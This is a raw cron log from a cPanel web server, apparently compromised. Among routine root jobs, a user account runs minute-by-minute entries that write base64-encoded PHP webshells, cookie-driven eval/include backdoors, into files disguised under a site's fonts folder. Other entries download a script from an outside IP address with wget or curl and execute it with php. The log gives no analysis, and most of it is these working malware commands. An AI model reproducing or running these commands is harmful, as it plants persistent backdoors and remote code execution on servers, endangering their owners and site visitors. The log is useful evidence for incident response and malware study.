Sep  4 10:58:01 ip-184-168-122-23 CROND[10452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:59:01 ip-184-168-122-23 CROND[10575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:59:01 ip-184-168-122-23 CROND[10574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:59:01 ip-184-168-122-23 CROND[10576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:59:01 ip-184-168-122-23 CROND[10577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:00:01 ip-184-168-122-23 CROND[10782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:00:01 ip-184-168-122-23 CROND[10790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:00:01 ip-184-168-122-23 CROND[10789]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:00:01 ip-184-168-122-23 CROND[10785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:00:01 ip-184-168-122-23 CROND[10787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:00:01 ip-184-168-122-23 CROND[10788]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:00:01 ip-184-168-122-23 CROND[10784]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:00:01 ip-184-168-122-23 CROND[10786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:01:01 ip-184-168-122-23 CROND[10921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:01:01 ip-184-168-122-23 CROND[10922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:01:01 ip-184-168-122-23 CROND[10923]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 11:01:01 ip-184-168-122-23 CROND[10926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:01:01 ip-184-168-122-23 CROND[10925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:01:01 ip-184-168-122-23 CROND[10928]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 11:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10928]: starting 0anacron
Sep  4 11:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10943]: finished 0anacron
Sep  4 11:02:01 ip-184-168-122-23 CROND[11055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:02:01 ip-184-168-122-23 CROND[11057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:02:01 ip-184-168-122-23 CROND[11061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:02:01 ip-184-168-122-23 CROND[11062]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:02:01 ip-184-168-122-23 CROND[11063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:03:01 ip-184-168-122-23 CROND[11211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:03:01 ip-184-168-122-23 CROND[11214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:03:01 ip-184-168-122-23 CROND[11213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:03:01 ip-184-168-122-23 CROND[11216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:04:01 ip-184-168-122-23 CROND[11307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:04:01 ip-184-168-122-23 CROND[11308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:04:01 ip-184-168-122-23 CROND[11305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:04:01 ip-184-168-122-23 CROND[11306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:04:01 ip-184-168-122-23 CROND[11309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:05:01 ip-184-168-122-23 CROND[11429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:05:01 ip-184-168-122-23 CROND[11434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:05:01 ip-184-168-122-23 CROND[11431]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:05:01 ip-184-168-122-23 CROND[11432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 11:05:01 ip-184-168-122-23 CROND[11435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:05:01 ip-184-168-122-23 CROND[11433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:05:01 ip-184-168-122-23 CROND[11436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:06:01 ip-184-168-122-23 CROND[11616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:06:01 ip-184-168-122-23 CROND[11618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:06:01 ip-184-168-122-23 CROND[11620]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:06:01 ip-184-168-122-23 CROND[11619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:06:01 ip-184-168-122-23 CROND[11621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:07:01 ip-184-168-122-23 CROND[11755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:07:01 ip-184-168-122-23 CROND[11756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:07:01 ip-184-168-122-23 CROND[11759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:07:01 ip-184-168-122-23 CROND[11762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:08:01 ip-184-168-122-23 CROND[11875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:08:01 ip-184-168-122-23 CROND[11878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:08:01 ip-184-168-122-23 CROND[11876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:08:01 ip-184-168-122-23 CROND[11879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:08:01 ip-184-168-122-23 CROND[11880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:09:01 ip-184-168-122-23 CROND[12002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:09:01 ip-184-168-122-23 CROND[11999]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 11:09:01 ip-184-168-122-23 CROND[12000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:09:01 ip-184-168-122-23 CROND[12003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:09:01 ip-184-168-122-23 CROND[12001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:10:01 ip-184-168-122-23 CROND[12168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:10:01 ip-184-168-122-23 CROND[12170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:10:01 ip-184-168-122-23 CROND[12167]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:10:01 ip-184-168-122-23 CROND[12172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:10:01 ip-184-168-122-23 CROND[12173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
